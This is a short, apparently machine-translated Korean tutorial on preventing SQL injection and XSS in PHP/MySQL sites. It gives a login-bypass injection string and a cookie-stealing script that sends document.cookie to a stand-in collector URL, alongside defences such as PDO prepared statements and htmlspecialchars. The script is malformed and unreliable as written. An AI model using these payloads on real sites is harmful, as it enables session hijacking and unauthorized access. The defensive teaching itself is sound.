웹 안전에 관한 몇 가지 예방 조치

2644 단어 mysql 기초 지식
1, sql 주입
사용자가 로그인 정보를 제출할 때password'or 1 # 이렇게 하면 원래 sql 맞춤법 문장은 select * from table where username = xxx and password ='password'or 1 #'로 되어 로그인한 사용자가 로그인 정보를 얻게 됩니다.sql 주입 완료
해결 방법
첫 번째:addslashes로 제출한 문자를 특수 문자로 변환합니다
둘째: pdo 매개 변수로 연결하는 형식
$dbh = new PDO("mysql:dbname=la;host=127.0.0.1","root","");
$sth = $dbh->prepare("select * from users where username=:username");
$sth->execute(array('username'=>$username));
$result = $sth->fetchAll();

셋째: 데이터의 정확성을 검증했다. 예를 들어 문자의 수량을 제한하고 데이터 유형을 규정한다.
2, xss공격
이런 공격 장면은 일반적으로 평론할 때script 코드를 제출하는데 필터가 없으면 안 된다.그렇게 위험성이 비교적 큰데, 예를 들면 한 단락을 쓰는 것이다.
<script>
var url = "http://localhost//toucookie.php?cookie=" + document.cookie;
var img = document.createElement("img");
img.src = url;
document.appendChild(url);
script>
이 부분은 다른 사용자가 이 사진을 클릭하면 자동으로 이 사이트의 쿠키 정보를 공격자에게 발송한다. 공격자가 쿠키 정보를 가지면 많은 일을 할 수 있다. 예를 들어 사용자의 정보를 얻으면 사용자의 백엔드에 직접 로그인할 수 있다.
해결 방법
1, 이런 제출 데이터를 논평할 때 htmlspecialchars로 html의 일부 물건을 실체로 전환한다.
2,strip_tags로 html 태그 제거 가능
3, 일부 scipt 라벨 등 을 필터, 구체적 인 업무 수요

좋은 웹페이지 즐겨찾기